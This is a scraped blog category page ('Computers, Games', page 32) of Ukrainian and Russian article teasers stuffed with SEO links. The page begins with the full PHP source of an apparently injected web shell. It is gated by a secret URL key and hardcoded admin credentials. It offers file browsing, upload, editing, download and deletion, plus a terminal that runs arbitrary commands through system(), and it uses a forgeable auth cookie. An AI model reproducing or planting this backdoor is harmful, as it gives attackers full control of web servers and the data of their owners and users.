if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 32 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Експертне інтерв’ю: підготовка, техніка та обробка

    Експертне інтерв’ю є важливим інструментом в соціальних науках, reportjournal.net.ua бізнесі та інших сферах, що дозволяє отримати глибоке розуміння певних тем або проблем. Цей вид інтерв’ю передбачає спілкування з фахівцями, які мають значний досвід або знання в конкретній області. У цій статті ми розглянемо підготовку до експертного інтерв’ю, техніку його проведення та обробку отриманих даних. Підготовка…

    Click or not…

  • Міграційне право: отримання ВНЖ та громадянства України

    Міграційне право України регулює питання, пов’язані з перебуванням іноземців на території країни, https://tripjournal.in.ua/ а також порядок отримання ними посвідки на проживання (ВНЖ) та громадянства. Це право є важливим аспектом українського законодавства, оскільки воно забезпечує правову основу для інтеграції іноземців у суспільство та економіку України. Отримання ВНЖ в Україні є першим кроком для іноземців, які планують…

    Click or not…

  • Медіація в цивільних спорах: досвід застосування та перспективи

    Медіація в цивільних спорах є важливим інститутом альтернативного вирішення конфліктів, який набуває все більшої популярності в Україні. Цей процес передбачає залучення третьої нейтральної сторони – медіатора, https://researchguide.in.ua/ який допомагає сторонам знайти компроміс і досягти взаємоприйнятного рішення без звернення до суду. Досвід застосування медіації в Україні свідчить про її ефективність та перспективи розвитку. По-перше, медіація дозволяє…

    Click or not…

  • Візуальна журналістика: сила фото та відео в новинах

    Візуальна журналістика стала невід’ємною частиною сучасних медіа, https://medialab.in.ua адже в умовах інформаційного перевантаження саме візуальні елементи здатні привернути увагу читача та донести важливу інформацію в зручному для сприйняття форматі. У цій статті ми розглянемо, як фотографії та відео впливають на сприйняття новин, їхню ефективність та роль у формуванні громадської думки. По-перше, візуальні елементи, такі як…

    Click or not…

  • Ветеринарний контроль на фермі: планові огляди

    Ветеринарний контроль на фермі є важливим аспектом забезпечення здоров’я тварин, продуктивності та безпеки харчових продуктів. Планові огляди є невід’ємною частиною цього процесу, petexpert.net.ua оскільки вони дозволяють виявити потенційні проблеми на ранніх стадіях, запобігаючи епізоотіям та забезпечуючи високий рівень добробуту тварин. Планові огляди на фермі проводяться регулярно, зазвичай раз на квартал або в залежності від специфіки…

    Click or not…

  • Найкращі місця для кемпінгу в Україні

    Кемпінг в Україні стає все більш популярним способом відпочинку на природі. Наші мальовничі пейзажі, різноманітність природних зон та наявність численних національних парків роблять країну ідеальним місцем для тих, хто любить активний відпочинок. У цьому звіті ми розглянемо найкращі місця для кемпінгу в Україні, де можна насолодитися природою, https://wildinsight.com.ua відпочити та зарядитися енергією. Одним з найпопулярніших…

    Click or not…

  • Пресреліз, який працює: як зацікавити редакцію

    Пресреліз є одним із найважливіших інструментів комунікації для компаній, організацій та окремих осіб, які прагнуть донести свої новини до широкої аудиторії через медіа. Однак, щоб пресреліз дійсно працював і привертав увагу редакцій, https://newsguide.in.ua/ потрібно дотримуватись певних правил і стратегій. По-перше, важливо зрозуміти, що редактори та журналісти щодня отримують величезну кількість пресрелізів. Тому, щоб ваш пресреліз…

    Click or not…

  • Как выбрать наряд для вечеринки без потери стиля и комфорта

    Выбирайте оттенки, соответствующие теме события. Если мероприятие имеет определённую цветовую палитру, это отличный способ продемонстрировать своё чувство стиля и уважение к организаторам. Привнесите в образ цвет, casino-brain.com соответствующий запросам мероприятия, чтобы выделяться на фоне остальных. Обратите внимание на местоположение и формат торжества. Для открытых площадок или пляжных вечеринок хорошо подойдут легкие и воздушные ткани, в…

    Click or not…

  • Найкращі голи тижня в клубних єврокубках за останні дні

    Перегляньте добірку із захоплюючими митями, які сталися в матчах європейських клубів. Під час останніх ігор ми стали свідками вражаючих уколів, https://asport.com.ua/ що вразили не лише вболівальників, але й експертів. Кожен із цих ударів демонструє технічну майстерність та творчість футболістів, вказуючи на відмінні комбінації та стратегічні рішення, які варто проаналізувати. Серед безлічі моментів, якими можна пишатися,…

    Click or not…

  • Спокійні змагання без ризику стресу та травм для всіх учасників

    Для досягнення успіху у спортивних активностях важливо зосередитися на розумному підході до підготовки та участі. Вибір дисципліни з низьким рівнем конкуренції, наприклад, аматорського бігу чи плавання, допоможе уникнути тиску. Встановіть досяжні цілі, наприклад, покращити особистий рекорд, in.ua замість того щоб конкурувати з іншими. Команда підтримки може бути ключовим фактором для підвищення впевненості. Запросіть друзів чи…

    Click or not…